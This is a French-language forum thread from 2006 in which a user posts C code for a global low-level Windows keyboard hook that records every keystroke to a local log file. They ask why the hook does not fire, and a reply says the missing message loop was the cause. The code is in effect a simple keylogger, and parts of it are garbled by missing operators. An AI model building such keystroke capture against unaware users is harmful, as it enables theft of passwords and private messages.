Hook global sans dll en mode fenêtre

wallegen Messages postés 12 Date d'inscription samedi 18 septembre 2004 Statut Membre Dernière intervention 2 juin 2006 - 21 avril 2006 à 02:42
wallegen Messages postés 12 Date d'inscription samedi 18 septembre 2004 Statut Membre Dernière intervention 2 juin 2006 - 24 avril 2006 à 12:51
Je voudrais essayer ce code

http://www.cppfrance.com/codes/HOOK-GLOBAL-SANS-DLL_27169.aspx

en mode fenêtre afin de mieux le comprendre(et surtout parce que je ne connais pas encore la programmation des fenêtres :-p

mais ça ne marche pas !j'ai essayé par ex ça:





#define _WIN32_WINNT 0x0400

#include <windows.h>



HHOOK hHook; // Handle du hook global

HINSTANCE hExe; // Handle de notre exécutable



// Fonction de gestion du hook

__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)

{

if ((nCode HC_ACTION) && (wParam WM_KEYDOWN))

{

// Structure de récupération d'infos sur la touche tapée

KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);



// Obtenir la lettre de la touche tapée

char lettre=(char)hookstruct.vkCode;



// Compteur des octets écrits pour WriteFile()

DWORD Ecrits;



// Ouverture du fichier log. Le créer s'il n'existe pas.

HANDLE hFichier
= CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ,
NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);



// Si le handle retourné est valide alors

if( hFichier != INVALID_HANDLE_VALUE)

{

// Mettre le pointeur du fichier à la fin

SetFilePointer(hFichier,NULL,NULL,FILE_END);



// Ecrire la lettre dans le fihier log

WriteFile(hFichier,&lettre,1,&Ecrits,NULL);



// Fermer le fichier

CloseHandle(hFichier);

}

}

// Renvoi des messages au sytème pour permettre d'autres hooks

return CallNextHookEx(hHook, nCode, wParam, lParam);



}







int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )

{

hExe = GetModuleHandle(NULL);



hHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
(HOOKPROC)

hookProc, hExe, NULL);

system("pause");

UnhookWindowsHookEx(hHook);

}






D'après mes essais je récupère bien le handle,le hook se fait
aussi,par conter c'est la fonction du hook qui ne se fait pas(tester
avec un messagebox)

J'ai essayé sur plusieurs codes,avec "int main(...)" pour la fenêtre principale

D'aprés d'autres posts j'ai aussi jetté un oeil avec depends.exe mais
celui ci ne me retourne qu'un avertissement(idem que pour le code
originale d'ailleurs)



Donc pourquoi ça marche pas'et surtout quelle difference fait que le
code initale marche?car si j'ai bien compris il suffit de récupérer le
handle et de mettre la fonction en export.....

1 réponse

wallegen Messages postés 12 Date d'inscription samedi 18 septembre 2004 Statut Membre Dernière intervention 2 juin 2006
24 avril 2006 à 12:51
pour ceux que ça interesse ,le problème est l'absence de la boucle qui récupère les messages,merci à Racpp pour sa réponse que vous trouverez ici
http://www.cppfrance.com/codes/HOOK-GLOBAL-SANS-DLL_27169.aspx
0
Rejoignez-nous